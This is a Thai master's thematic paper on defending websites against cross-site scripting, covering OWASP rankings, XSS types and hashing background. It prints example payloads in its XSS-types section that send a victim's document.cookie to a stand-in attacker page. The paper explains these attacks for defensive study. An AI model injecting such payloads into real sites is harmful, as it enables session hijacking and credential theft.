
การป้องกนัการโจมตแีบบครอสไซต์สคริปติง้ 
 

 
 

 
 
 
  
 

วรากรณ์  สุภคันิกร 
 
 
 
 
 
 

 
สารนิพนธ์นีเ้ป็นส่วนหน่ึงของการศึกษาตามหลกัสูตรวศิวกรรมศาสตรมหาบัณฑติ 

สาขาวชิาวศิวกรรมคอมพวิเตอร์และโทรคมนาคม  
วทิยาลยันวตักรรมด้านเทคโนโลยแีละวศิวกรรมศาสตร์  

มหาวทิยาลยัธุรกจิบณัฑติย์ 
พ.ศ. 2560 



 

Defending of Cross Site Script Attack 
 

 
 
 

 
 
 

Warakorn   Supaknikorn 
 
 
 
 
 
 
 
A Thematic Paper Submitted in Partial Fulfillment of the Requirements 

For the Degree of Master of Engineering 
Department of Computer and Telecommunication Engineering 

College of Innovative Technology And Engineering  
Dhurakij Pundit University 

2017 



ง 

หวัขอ้สารนิพนธ์ การป้องกนัการโจมตีแบบครอสไซตส์คริปต้ิง 
ช่ือผูเ้ขียน  วรากรณ์ สุภคันิกร 
อาจารยท่ี์ปรึกษา  อาจารย ์ดร.ชยัพร  เขมะภาตะพนัธ์  
สาขาวชิา  วศิวกรรมคอมพิวเตอร์และโทรคมนาคม 
ปีการศึกษา  2559 
 

บทคัดย่อ 
 

งานวิจยัน้ีมีวตัถุประสงค์ท่ีจะน าเสนอแนวทางวิธีท่ีจะป้องกันการโจมตีครอสไซต ์
สคริปต้ิง เพื่อลดความเส่ียงท่ีผูใ้ชง้านจะถูกโจมตี  โดยแบ่งแยกวิธีป้องกนัการโจมตีเป็น 2 รูปแบบ
ไดแ้ก่ แบบท่ี 1 ท าการป้องกนัดว้ยการกรองขอ้มูลเพื่อดกัจบัและลบรหัสโปรแกรมอนัตรายท่ีอาจ
เป็น XSS ก่อนท่ีจะท าการบันทึกเข้าสู่ฐานข้อมูล การโจมตีประเภทน้ีส่วนใหญ่จะอยู่ในหน้า
เว็บไซต์ท่ีสามารถบนัทึกขอ้มูลเขา้สู่ฐานข้อมูลได้โดยตรง เช่น เว็บบอร์ด เป็นต้น ส่วนอีกหน่ึง
รูปแบบคือ การป้องกนัด้วยวิธีการ Hash ขอ้มูลเพื่อไวใ้ช้ส าหรับการตรวจสอบ วิธีการส่วนใหญ่ 
ผูโ้จมตีจะน าข้อมูลท่ีเป็นอนัตรายมาฝังเอาไวใ้นไฟล์โค๊ดท่ีอยู่ในเว็บเซิร์ฟเวอร์ หรือฝังไวใ้น
ฐานขอ้มูล  ก็จะท าการป้องกนัโดยการท าการ Hash ขอ้มูลไฟล์หรือขอ้มูลในฐานข้อมูลไว ้หาก
ขอ้มูลถูกแกไ้ข จะไม่อนุญาตให้ใชง้าน แลว้แจง้เตือนไปยงัผูดู้แลระบบผา่นอีเมล์วา่ ปัจจุบนัขอ้มูล
ในไฟลห์รือในฐานขอ้มูลถูกเปล่ียนแปลงแกไ้ข เพื่อด าเนินการจดัการกบัการโจมตีเหล่านั้น 

ผลการทดสอบ พบวา่ การกรองขอ้มูลจากการบนัทึกขอ้มูลผา่นหนา้เวบ็เพจช่วยป้องกนั 
โดยดกัจบัและลบรหสัโปรแกรมอนัตราย และ การท ากระบวนการ hash เพื่อใชใ้นการตรวจสอบ 
สามารถป้องกนัการโจมตีจากการเปล่ียนแปลงแกไ้ขขอ้มูลในไฟลห์รือในฐานขอ้มูลได ้
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ABSTRACT 
 
This research aims to present two processes in order to prevent a website from   

Cross-site scripting (XSS). The first process is to filter and remove the dangerous code before 
storing data into database. This process is for prevent the attack from embedding XSS code via 
information uploading on webpage such as webboard. The second one is to hash web page code 
or database information and then to store them in different database. The objective of this process 
is to verify web page code that is embedded XSS code by attacker. If the code is not verified, web 
page will not be allowed to run and then warning message will be sent to administrator to solve.    

The results of the study show that two processes are efficient to prevent a website by 
catching and deleting dangerous code and verifying the web page code. 
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บทที ่ 1 
บทน ำ 

 
1.1  ทีม่ำและควำมส ำคัญของปัญหำ 

ในปัจจุบันทุกหน่วยงานมักจะมีเว็บไซต์เป็นของตนเองซ่ึงจะมีการเปิดให้บุคคล 
ภายนอกสามารถเข้ามาเยี่ยมชมเว็บไซต์ได้โดยเปิดพอร์ท TCP 80 (http) หรือ TCP 443 (https)  
ในกรณีท่ีตอ้งการใช้โปรโตคอล SSL  เพื่อเขา้รหัสข้อมูลเพิ่มความปลอดภยัมากข้ึน  จึงท าให้ผู ้
โจมตีอาศยัช่องโหว่น้ีในการโจมตีเน่ืองจาก Port ท่ี firewall จ  าเป็นต้องเปิดใช้งาน ช่องโหว่ท่ีมี
ความร้ายแรงและพบได้บ่อย เช่น SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request 
Forgery (CSRF) และ Hacking over SSL เป็นตน้ 

Cross-site Scripting (XSS) ถูกก ล่ าวถึ งค ร้ังแรก ท่ี  Computer Emergency Response 
Team (CERT) ในปี 2003 [1] จากข้อมูลของ Open Web Application Security Project (OWASP) 
ในปี 2010 ไดท้  าการจดัอนัดบัช่องโหวท่ี่มีความรุนแรงและพบเจอไดบ้่อยในเวบ็แอปพลิเคชัน 10 
อนัดบัข้ึนมาเป็นคร้ังแรก Cross-Site Scripting (XSS)  เคยเป็นช่องโหว่ท่ีอยูใ่นอนัดบั 2 ในปี 2010 
และถูกลดอนัดบัลงมาเป็นอนัดบั 3 ในปี 2013 โดย XSS เป็นช่องโหว่ท่ีเคยแพร่หลายในยุคสมยั 
ท่ี MySpace ไดรั้บความนิยม  

 
ตารางท่ี 1.1 เปรียบเทียบภยัคุกคามจาก OWASP ในปี 2010 และ 2013 [12] 
 

OWASP Top 10 – 2010 (Previous) OWASP Top 10 – 2013 (New) 

A1-Injection A1-Injection 

A3-Broken Authentication and Session 
Management 

A2-Broken Authentication and Session 
Management 

 
 

http://blog.wisered.com/cross-site-scripting-xss/
http://blog.wisered.com/%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%AB%E0%B8%A7%E0%B9%88%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%A0%E0%B8%97-cross-site-script-forgery-csrf/
http://blog.wisered.com/%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%AB%E0%B8%A7%E0%B9%88%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%A0%E0%B8%97-cross-site-script-forgery-csrf/
http://blog.wisered.com/%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%AB%E0%B8%A7%E0%B9%88%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%A0%E0%B8%97-missing-function-level-access-control/
http://owasp.org/
http://blog.wisered.com/cross-site-scripting-xss/
https://www.owasp.org/index.php/Top_10_2010-A1
https://www.owasp.org/index.php/Top_10_2013-A1-Injection
https://www.owasp.org/index.php/Top_10_2010-A3
https://www.owasp.org/index.php/Top_10_2010-A3
https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management
https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management
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ตารางท่ี 1.1 (ต่อ) เปรียบเทียบภยัคุกคามจาก OWASP ในปี 2010 และ 2013 [12] 

 
OWASP Top 10 – 2010 (Previous) OWASP Top 10 – 2013 (New) 

A2-Cross Site Scripting (XSS) A3-Cross-Site Scripting (XSS) 

A4-Insecure Direct Object Reference A4-Insecure Direct Object References 

A6-Security Misconfiguration A5-Security Misconfiguration 

A7- Insecure Cryptographic Storage – Merged 
with A9  

A6-Security Misconfiguration 

A8- Failure to Restrict URL Access-
Broadened into  

A7-Missing Function Level Access Control 

A5-Cross-Site Request Forgery (CSRF) A8-Cross-Site Request Forgery (CSRF) 

<buried in A6:Security Misconfiguration> A9-Using Known Vulnerable Components 

A10-Unvalidated Redirects and Forwards A10-Unvalidated Redirects and Forwards 

A9-Insufficient Transport Layer Protection Merged with 2010-A7 into new 2013-A6 

 
Cross-site Scripting (XSS) เป็นวิธีการยอดนิยมท่ีผูโ้จมตี (hacker) รู้จักกันดี ซ่ึงเป็น

เทคนิคการฝังโค้ดเข้าไปกับหน้าเว็บเพจท่ีมีช่องโหว่เม่ือผูใ้ช้โหลดหน้าเว็บเพจไป ค่าท่ีส าคัญ
บางอยา่ง เช่น cookie, username หรือ password เป็นตน้ ก็อาจจะถูกขโมยไปได ้ช่องโหวท่ี่สามารถ
ท าให้เกิดการโจมตี Cross-site Scripting (XSS) ได้ก็เน่ืองมาจาก web application รับขอ้มูลเข้ามา
จากผูใ้ช ้ซ่ึงโปรแกรมเมอร์ท่ีพฒันา web application ดงักล่าวไม่ไดท้  าการตรวจสอบความปลอดภยั
ของข้อมูลนั้ น ก่อนท าการบันทึกเข้าสู่ฐานข้อมูล หรือไม่มีการตรวจสอบการแก้ไขข้อมูลใน
ฐานข้อมูล แม้ว่าผูโ้จมตี (hacker) ไม่สามารถใช้ Cross-site Scripting (XSS) ในการท าอันตราย
เคร่ืองคอมพิวเตอร์ท่ีตกเป็นเหยื่อ เช่น สั่งลบขอ้มูลฮาร์ดดิส (format harddisk) หรือ ควบคุมจาก
ระยะไกล (remote control) ไดเ้พราะวา่กลไกการท างานของ client-side script ไม่อนุญาตให้ท างาน
ดงักล่าว แต่ความน่ากลวัของ Cross-site Scripting (XSS) มีอยู่ไม่น้อยเน่ืองจากการโจมตีดงักล่าว 
เป็นช่องทางท่ีท าให้ผูโ้จมตี (hacker) สามารถ ขโมยค่า cookie ซ่ึงอาจจะท าให้ผูโ้จมตี (hacker) ใช ้

https://www.owasp.org/index.php/Top_10_2010-A2
https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)
https://www.owasp.org/index.php/Top_10_2010-A4
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
https://www.owasp.org/index.php/Top_10_2010-A6
https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration
https://www.owasp.org/index.php/Top_10_2010-A6
https://www.owasp.org/index.php/Top_10_2010-A10
https://www.owasp.org/index.php/Top_10_2010-A10
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cookie ท่ีขโมยไปในการแยง่ session ของเหยื่อได ้หรือ แกไ้ขรูปแบบของฟอร์ม ท่ีใช้ในการกรอก 
username/password ท่ีหนา้เวบ็ไซต ์เพื่อให้ส่งขอ้มูลไปยงัเคร่ืองของผูโ้จมตี (hacker) ก่อนแลว้ค่อย
ส่งไปยงัเวบ็ไซตจ์ริง 

ดงันั้น เวบ็ไซต์เป็นส่ิงท่ีตอ้งค านึงและให้ความส าคญัในเร่ืองการรักษาความปลอดภยั
เพิ่มมากข้ึน งานวิจยัน้ีจึงมีวตัถุประสงค์เพื่อเสนอรูปแบบวิธีในการโจมตี  Cross-site Scripting 
(XSS)  และ วธีิการป้องกนัการโจมตี Cross-site Scripting (XSS)  
 
1.2  วตัถุประสงค์ของกำรวจัิย  
 1.  เพื่อเสนอรูปแบบวิธีในการโจมตีของภยัคุกคามครอสไซตส์คริปต้ิง (Cross-Site Scripting) 
ส าหรับเวบ็ไซตท่ี์มีช่องโหว ่
 2.  เพื่อเสนอแนวทางในการป้องกนัการโจมตีครอสไซตส์คริปต้ิง (Cross-Site Scripting) ท่ีเวบ็
เซิร์ฟเวอร์ (Web Server) 
 

1.3  ขอบเขตกำรวจัิย 
 1.  ศึกษาขอ้มูลเก่ียวกบัภยัคุกคามในส่วนของครอสไซตส์คริปต้ิง (Cross-Site Scripting) 
 2.  จ  าลองในส่วนของเวบ็แอพพลิเคชัน่ส าหรับใชใ้นการทดสอบ 
 3.  ทดสอบการโจมตีเว็บแอพพลิเคชั่นโดยใช้ภัยคุกคามครอสไซต์สคริปต้ิง (Cross-Site 
 Scripting)  
 4.  ออกแบบวิธีการป้องกันภัยคุกคามครอสไซต์สคริปต้ิง (Cross-Site Scripting) ท่ี เว็บ
เซิร์ฟเวอร์ (Web Server) 
 5.  สรุปผลการด าเนินงาน และท าขอ้เสนอแนะในการพฒันาระบบเวบ็เซิร์ฟเวอร์เพื่อป้องกนั
ในส่วนภยัคุกคามครอสไซตส์คริปต้ิง (Cross-Site Scripting) 
 
1.4  ประโยชน์ทีค่ำดว่ำจะได้รับ 
 1.  มีความรู้ความเขา้ใจถึงรูปแบบภยัคุกคามในส่วนของครอสไซตส์คริปต้ิง (Cross-Site 
Scripting) 
 2.  สามารถทราบถึงแนวทางในการป้องกนัการโจมตีครอสไซตส์คริปต้ิง (Cross-Site 
Scripting) ท่ีเวบ็เซิร์ฟเวอร์ (Web Server) 
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 3.  สามารถช่วยลดความเส่ียงการถูกโจมตีครอสไซตส์คริปติ้ง (Cross-Site Scripting) 
 4.  ท าใหเ้พิ่มความมัน่ใจในการเขา้ใชง้านเวบ็ไซตข์องผูใ้ชง้าน 
 
1.5  แผนกำรด ำเนินงำน 
 
ตารางท่ี 1.2 ระยะเวลาในการด าเนินงาน 
 

กิจกรรม ปี พ.ศ.2559 ปี พ.ศ.2560 
ส.ค. ก.ย. ต.ค. พ.ย. ธ.ค. ม.ค. ก.พ. มี.ค. เม.ย. 

1. ศึกษาขอ้มูลเก่ียวกบัภยั
คุกคามในส่วนของครอส
ไซตส์คริปต้ิง  

         

2. จ  าลองในส่วนของเวบ็
แอพพลิเคชัน่ส าหรับใช้
ในการทดสอบ 

         

3. ทดสอบการโจมตีเวบ็
แอพพลิเคชัน่โดยใชภ้ยั
คุกคามครอสไซตส์คริป
ต้ิง  

         

4. ออกแบบวธีิการ
ป้องกนัภยัคุกคามครอส
ไซตส์คริปต้ิง  

         

5. สรุปผลการด าเนินงาน 
และท าขอ้เสนอแนะเพื่อ
ป้องกนัภยัคุกคามครอส
ไซตส์คริปต้ิง 
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บทที ่2 
แนวคดิทฤษฎแีละงานวจิยัที่เกีย่วข้อง 

 
กล่าวน า 

การวิจยัน้ีประกอบดว้ยขอ้มูลความรู้ต่างๆท่ีไดจ้ากการคน้ควา้ในหัวขอ้ท่ีเก่ียวขอ้งกบั

การโจมตีและการป้องกนัครอสไซตส์คริปต้ิง (Cross-site Scripting) ดงัต่อไปน้ี 

2.1  ครอสไซตส์คริปต้ิง (Cross-site Scripting) 

2.2  ฟังกช์นัแฮช (Hash Function) 

2.3  Hash Message Authentication Code (HMAC) 

2.4  กระบวนการท างาน MD5 

2.5  งานวจิยัท่ีเก่ียวขอ้ง 

2.1  ครอสไซต์สคริปติง้ (Cross-site scripting) [6] 
ครอสไซต์สคริปต้ิง (Cross-site scripting : XSS) เป็นการโจมตีแบบระบบประยุกต ์

(Application) ประเภท malicious injection โดยอาศัยหลักการท่ีคอมพิวเตอร์ผู ้ใช้งาน (Client 
computer) สามารถส่งขอ้ความอะไรก็ไดไ้ปยงัเคร่ืองบริการ (Server) แลว้เคร่ืองบริการน าขอ้ความ
ท่ีได้รับมาไปประมวลผล โดยท่ีเคร่ืองบริการไม่ไดต้รวจสอบขอ้มูลท่ีรับเขา้ (Input) และขอ้มูลท่ี
ส่งออก (Output) ว่ามีความปลอดภยัเพียงพอ ผูโ้จมตี (Attacker) จึงอาศยัช่องโหว่น้ีในการโจมตี 
โดยการสร้างเป็นค าสั่ง (Code) แล้วส่งไปยงัเคร่ืองบริการ แลว้เคร่ืองบริการก็จะท าการประมวล
แล้วส่งผลตอบสนองมาบงัเบราวเ์ซอร์ (Browser) ของเคร่ืองคอมพิวเตอร์ผูใ้ช้งานในรูปแบบบท
ค าสั่งฝ่ายผูใ้ช้งาน (Client side script) ซ่ึงบทค าสั่งฝ่ายผูใ้ช้งานท่ีเกิดข้ึนนั้นมีสิทธ์ิในการท างาน
เทียบเท่ากบับทค าสั่ง (script) ท่ีเกิดข้ึนจากตวัเวบ็ไซตเ์อง 

ผูโ้จมตีใชเ้ทคนิคครอสไซตส์คริปต้ิงเพื่อขอ้มูลหรือความสามารถบางอยา่ง เช่น เพื่อท า
การส่งค่าคุก ก้ี  (Cookie) จากเค ร่ืองคอมพิวเตอร์ผู ้ใช้งานไปยังผู ้โจมตี หรือเพื่ อให้ เค ร่ือง
คอมพิวเตอร์ผูใ้ช้งานไปท าการบรรจุลง (Download) บทค าสั่งมาจากเว็บไซต์เพื่อให้สามารถใช้
ทรัพยากรบางอยา่งไดอ้ย่างเต็มท่ี เป็นตน้ ทั้งน้ีข้ึนอยูก่บัเทคโนโลยีของบทค าสั่งฝ่ายผูใ้ช้งาน และ
เป้าหมายการโจมตีของผูโ้จมตีดว้ย 
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ครอสไซต์สคริปต้ิงสามารถเกิดข้ึนได้ในหลายภาษา เช่น HTML, Java Script, VB 
Script, ActiveX, Flash เป็นตน้ แต่ภาษาท่ีนิยมใช้ครอสไซต์สคริปต้ิงกนัอย่างแพร่หลาย คือ Java 
Script 

 
 2.1.1  รูปแบบการโจมตีครอสไซตส์คริปต้ิง (Cross-Site Scripting) 

 

 
 

ภาพท่ี 2.1  รูปแบบการโจมตีครอสไซตส์คริปต้ิ (Cross-Site Scripting) [5] 
 

   ขั้นตอนท่ี 1   ผูใ้ชง้านเขา้ใชง้านเวบ็ไซตข์องผูโ้จมตี 
   ขั้นตอนท่ี 2   ผูใ้ชง้านคลิกล้ิงกท่ี์เป็นอนัตราย แลว้จะส่ง HTTP request ซ่ึงประกอบ 
ดว้ยโคด๊ท่ีเป็น JavaScript รวมไปดว้ย ไปใหเ้วบ็เซิร์ฟเวอร์ 
   ขั้นตอนท่ี 3   เวบ็เซิฟเวอร์ส่งขอ้ความผดิพลาด (error message) กลบัมา ประกอบดว้ย
ช่ือของวธีิการ (เช่น โคด๊ JavaScript) 
   ขั้นตอนท่ี 4  โคด๊ JavaScript ท างาน เวบ็เซิร์ฟเวอร์จะส่งค่า cookie ของผูใ้ชง้านไปให้
เซิร์ฟเวอร์ของผูโ้จมตี 

ผลกระทบจากการถูกโจมตี คือ ผูใ้ช้งานจะถูกขโมย Cookie, username, password 
จากนั้นผูโ้จมตีก็สามารถน าเอาค่าดงักล่าวของผูใ้ชง้านไปใชง้านไดท้นัที 
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 2.1.2  สาเหตุของช่องโหว ่XSS  
     ในปัจจุบนัเว็บแอพพลิเคชั่นหลายเว็บมีช่องโหว่ประเภท XSS เกิดข้ึน เน่ืองจากเว็บ

แอพพลิเคชั่นนั้ นอนุญาตให้ผู ้โจมตีสามารถใส่  JavaScript ให้ท างานภายใต้ domain บนเว็บ
แอพพลิเคชั่นได้ดงันั้นเน่ืองจาก JavaScript มีความสามารถในการเขา้ถึง document Object Model 
(HTML DOM) จึงท าใหผู้โ้จมตีสามารถแทรก JavaScript เพื่อท าตามจุดประสงคต่์าง ๆท่ีตอ้งการได ้
เช่น ขโมยขอ้มูลท่ีส าคญัของเป้าหมาย, หลอกให้กลุ่มเป้าหมายเขา้ไปยงัลิงก์ท่ีมีความเส่ียง, เขา้ไป
จดัการแกไ้ขไฟลท่ี์ส าคญัในเวบ็เบราวเ์ซอร์ของกลุ่มเป้าหมายได ้หรือสุดทา้ยท่ีร้ายแรงมากคือ เขียน 
JavaScript KeyLocker เพื่อใชด้กัจบั username และ password ในการท าธุรกรรมต่าง ๆ 
 2.1.3  ประเภทของครอสไซตส์คริปต้ิง [6] 
 2.1.3.1  ครอสไซตส์คริปต้ิงแบบถาวร (Stored Cross-Site Scripting) 
 ครอสไซต์สคริป ต้ิงแบบน้ี เป็น เทคนิคการโจมตี (Persistent) โดยอาศัย
ประโยชน์จากเว็บบอร์ด เว็บบล็อก (Web blog) หรือสมุดเยี่ยมชม (Guestbook) ท่ีโดยปกติเว็บ
ระบบประยุกต์ (Web application) กลุ่มน้ีจะให้ผูใ้ช้งานสามารถกรอกเน้ือหา (Content) ได้ด้วย
ตนเองหรือจะน าขอ้มูลท่ีรับเขา้ไปเก็บและใช้งานโดยท่ีไม่ไดท้  าการตรวจสอบความปลอดภยัก่อน 
ผูโ้จมตีก็จะสามารถใส่บทค าสั่งเขา้ไปไดโ้ดยตรงเลย   
เช่น  <script>window.location=http://attackcrosssite.php?cook=+document.cookie</script>  
 ถา้เป็นเวบ็ระบบประยุกต์ท่ีไม่ไดมี้การตรวจสอบเน้ือหาหรือขอ้มูลท่ีรับเขา้ไป
เก็บไวแ้ลว้ เม่ือมีผูเ้ขา้ชมคนอ่ืนเขา้มาเยี่ยมชมเวบ็ไซต์ท่ีมีบทค าสั่งของผูโ้จมตี เคร่ืองคอมพิวเตอร์
ของผูเ้ขา้ชมคนนั้นจะท าการประมวลผลบทค าสั่งโดยอตัโนมติั แลว้ท าการส่งค่าคุกก้ีไปยงัเคร่ือง
บริการของผูโ้จมตี 
 2.1.3.2  ครอสไซตส์คริปต้ิงแบบชัว่คราว (Reflected Cross-Site Scripting) 
            ครอสไซตส์คริปต้ิงแบบน้ีเป็นเทคนิคการโจมตีแบบชัว่คราว (Non-persistent) 
โดยส่วนใหญ่จะอยู่ในรูปแบบของการเช่ือมโยง (Link) เม่ือเหยื่อ (Victim) ท าการคลิกท่ีการ
เช่ือมโยงแลว้บทค าสั่งจะท าการโจมตี ปกติจะอยูใ่นเวบ็ไซตท่ี์มีการรับขอ้มูลท่ีรับเขา้จากผูใ้ชง้านมา
แสดงผลบนเบราวเ์ซอร์   
     ตวัอย่าง : ในเว็บประยุกต์ท่ีมีกระบวนการท างานตามค าสั่งท่ีได้ร้องขอ เช่น  
เม่ือพิมพค์  าสั่ง http://testcross.com/index.php/sessionid=123&username=kong  
 แลว้เวบ็ไซต์จะแสดงผล “Welcome kong” ออกมาให้เห็นผ่านทางเบราวเ์ซอร์ 
โดยเวบ็ประยกุตน์ าขอ้มูลท่ีรับเขา้จาก username มาท าการแสดงผลโดยตรง ซ่ึงหากไม่มีการป้องกนั

http://testcross.com/index.php/sessionid=123&username=kong


8 
 

ก่อนท่ีจะน ามาแสดงผลก็จะเป็นจุดอ่อนให้ใชเ้ทคนิคครอสไซตส์คริปต้ิงได ้ถา้ผูโ้จมตีท าการสร้าง
การเช่ือมโยงแลว้ส่งไปทางอีเมลใ์หเ้หยือ่ท าการคลิกการเช่ือมโยง เหยือ่ก็จะถูกการโจมตี 

 ตวัอยา่ง : ในการเช่ือมโยงท่ีมีการใชเ้ทคนิคครอสไซตส์คริปต้ิงแอบแฝงเพิ่มบท
ค าสั่งเขา้ไป แลว้ท าการส่งอีเมลไ์ปหาเหยือ่ 
<a herf=“http://testcross.com/index.php/sessionid=123&username=<script>document.location= 
‘http://attackcrosssite.php?’cook=+document.cookie</script>”>click to change your profile</a> 
 เม่ือเหยื่อท าการคลิกท่ีการเช่ือมโยงดังกล่าวระบบก็จะท าการส่งค่าคุกก้ีจาก
เคร่ืองคอมพิวเตอร์ผูใ้ช้งานท่ีมีจุดอ่อนครอสไซต์สคริปต้ิงไปยงัเคร่ืองบริการของผูโ้จมตีในความ
เป็นจริงแล้วผูโ้จมตีอาจไม่จ  าเป็นตอ้งใช้การส่งอีเมล์ไปให้เหยื่อ แล้วรอให้เหยื่อท าการคลิกการ
เช่ือมโยงก็ได ้เพราะการโจมตีรูปแบบน้ีผูโ้จมตีสามารถประยุกต์ใช้ส่วนย่อย (Element) ท่ีมีช่ือว่า 
<iframe> มาช่วยในการโจมตีได ้เพียงแค่เหยื่อท าการเปิดอ่านอีเมล์แล้วบทค าสั่งก็จะท างานโดย
อตัโนมติั 
 2.1.3.3  ครอสไซตส์คริปต้ิงแบบชนิด 0 (DOM-based Cross-Site Scripting) 
    ครอสไซต์สคริป ต้ิงแบบชนิด 0 (DOM-based Cross-Site Scripting, Local 
cross-site scripting) หรือเรียกว่า “Type-0 Cross-site Scripting” เป็นเทคนิคการโจมตีท่ีไม่ใช่แบบ
ถาวรและแบบชัว่คราวโดยบทค าสั่งจะไม่ถูกเก็บไวบ้นเคร่ืองบริการหรือไม่มีการส่งบทค าสั่งไปยงั
เคร่ืองบริการ แต่เป็นการโจมตีโดยอาศยัคุณสมบติัของ Document Object Model (DOM) มาช่วยใน
การท าการโจมตี โดยน าเข้าขอ้มูลท่ีรับเขา้มาแปลงให้เป็นค าสั่ง เช่น การท่ีเคร่ืองบริการไปอ่าน
ขอ้มูลจาก RSS feeds มาแลว้ท าการแสดงผลไปยงัเบราวเ์ซอร์โดยท่ีไม่ท าการตรวจสอบก่อน 

  ผูโ้จมตีท่ีจะใช้เทคนิคครอสไซต์สคริปต้ิงแบบชนิด 0 จะตอ้งเขา้ใจหลกัการ
ท างานของการแสดงผลในการเตรียมเน้ือหา HTML ของเคร่ืองบริการเป็นอยา่งดี เพราะสาเหตุหลกั
ในการเกิดครอสไซต์สคริปต้ิงแบบน้ีเกิดจากการไม่ได้ตรวจสอบการแสดงผลท่ีครอบคลุมของ
เคร่ืองบริการ ท าให้ผูโ้จมตีสามารถน าขอ้มูลท่ีรับเขา้มาแปลงให้เป็นบทค าสั่งและท าให้เกิดการ
โจมตีชนิดน้ีได ้

งานวจิยัน้ี น าเสนอวธีิในการโจมตีและวธีิการป้องกนั ครอสไซตส์คริปต้ิง (Cross-Site 
Scripting) ท่ีเวบ็เซิร์ฟเวอร์ 

 
2.2  ฟังก์ชันแฮช (Hash Function) [2] 

แฮชฟังก์ชัน่เป็นการยอ่ยขอ้มูล หรือ เป็นการแมพ (map) ค่าไบนารีของขอ้มูลท่ีมีขนาด 
ไม่คงท่ีให้เป็นค่าไบนารีของขอ้มูลท่ีมีขนาดคงท่ี ซ่ึงหลกัการท างานของแฮชฟังก์ชัน่จะมีลกัษณะ 
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เป็น one way functions การท าแฮชฟังก์ชั่น จะไม่สามารถน าค่าแฮชท่ีได้ท ายอ้นกลับเพื่อให้ได ้
ขอ้มูล เดิมกลบัมาได ้แต่สามารถใชป้ระโยชน์จาการท าแฮชได ้เช่น กรณีการเก็บรหสัของเวป็ไซตผ์ู ้
ให้บริการต่างๆท่ีมีการล็อกอินเพื่อเขา้สู่ระบบจะมีการเก็บรหัสท่ีมีการผ่านฟังก์ชัน่แฮชเก็บลงใน 
ฐานขอ้มูล เม่ือมีผูใ้ช้ ท  าการล็อกอินเขา้สู่ระบบ รหัสผ่านจะถูกน ามาผ่านฟังก์ชั่นแฮชแล้วน าไป  
เปรียบเทียบกบัในฐานขอ้มูลถา้ตรงกนัแสดงว่า ผูใ้ช้ คนนั้นสามารถเขา้ใช้ระบบไดจ้ริง เพื่อเป็น 
การเก็บรหัสเพื่อเป็นความลบัส าหรับผูใ้ช้ การท่ีจะหาขอ้ความท่ี ท าให้ เกิดค่าแฮชดงักล่าวจะตอ้ง
เป็น กระบวนการท่ียากอีกทั้งการค านวณหาขอ้ความสองชุดท่ีใหร้หสัแฮชค่าเดียวกนัก็เป็นเร่ืองยาก
มาก เช่นกนั ซ่ึงเรียกคุณสมบติัน้ีวา่ คุณสมบติัปลอดการชนกนั  

 การเขา้รหัสด้วยฟังก์ชนัแฮชนั้นจะมีหลกัการคือขอ้มูลท่ีถูกเขา้รหัสด้วยฟังก์ชนัแฮช 
จะถูกเขา้รหสัดว้ยอกัขระ ต่างๆท่ีมีขนาดคงท่ีไม่วา่จะเป็น 64 บิตหรือ 128 บิต ดงัภาพท่ี 

 

 
 

ภาพท่ี 2.2  การเขา้รหสัดว้ยฟังกช์นัแฮช 
 

วธีิการของฟังก์ชนัแฮช คือขอ้ความเดียวกนัเม่ือผา่นแฮชฟังก์ชนัแลว้จะตอ้งไดผ้ลลพัธ์
เหมือนเดิมเสมอ และ หากขอ้ความท่ีต่างกนัเพียงเล็กนอ้ยผา่นแฮชฟังก์ชนั ควรจะตอ้งไดผ้ลลพัธ์ท่ี
ต่างกนัมาก และท่ีส าคญัก็คือ ไม่ควรมี ขอ้ความใด ๆ ตั้งแต่ 2 ขอ้ความข้ึนไป ท่ีผ่านแฮชฟังก์ชัน
แลว้ จะไดผ้ลลพัธ์ท่ีเหมือนกนั นอกจากนั้นแลว้ฟังกช์นัแฮชท่ีดีควรมีคุณสมบติัดงัต่อไปน้ี  

-  ฟังกช์นัแฮชควรสามารถใชง้านกบัขอ้มูลท่ีมีความยาวใด ๆ  

-  ฟังกช์นัแฮชจะตอ้งสามารถสร้างผลลพัธ์ท่ีมีความยาวเพียงค่าเดียว (คือผลลพัธ์ยาว 

    เท่ากนัหมด)  

-  ฟังกช์นัแฮชควรเป็นฟังกช์นัท่ีไม่ซบัซอ้น สามารถสร้างโดยฮาร์ดแวร์และซอฟตแ์วร์ 

   ไดง่้าย  

-  ฟังกช์นัแฮชไม่ควรเป็นฟังกช์นัท่ียอ้นกลบัได ้คือ เม่ือทราบผลลพัธ์แลว้ไม่มีทาง  
   ทราบขอ้มูลเลย  
ฟังก์ชันแฮชนั้นอนัท่ีจริงแล้วสามารถสร้างไดง่้าย เช่น อาจน าเอาขอ้ความมาบวกกนั

ทั้งหมด แลว้กลายเป็นค่า แฮชก็ได ้แต่ฟังก์ชนัแฮชในลกัษณะดงักล่าวมีขอ้เสียคือ จะเกิดการซ ้ ากนั
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ของผลลพัธ์ไดง่้าย ดงันั้นในโลกน้ีจึงมีผูค้น้คิด ฟังก์ชนัแฮชเอาไวม้ากมาย แต่ฟังก์ชนัแฮชท่ีใชใ้น
การท าลายเซ็นดิจิตอลท่ียอมรับกนัว่าเป็นมาตรฐานนั้น มีอยู่ 2 ฟังก์ชัน ฟังก์ชนัแรกมีช่ือว่า SHA 
โดย SHA ได้รับการพัฒนาโดย NIST (National Institute of Standard and Technology) ซ่ึงเป็น
หน่วยงานท่ีท าหน้าท่ีก าหนดมาตรฐานทางเทคโนโลยีของสหรัฐอเมริกา โดยไดรั้บการประกาศ 
เป็นมาตรฐานท่ี FIPS PUB 180 ในปี 1993 โดยหลงัจากนั้นมีการปรับปรุงเป็น SHA-1 ในปี 1995 
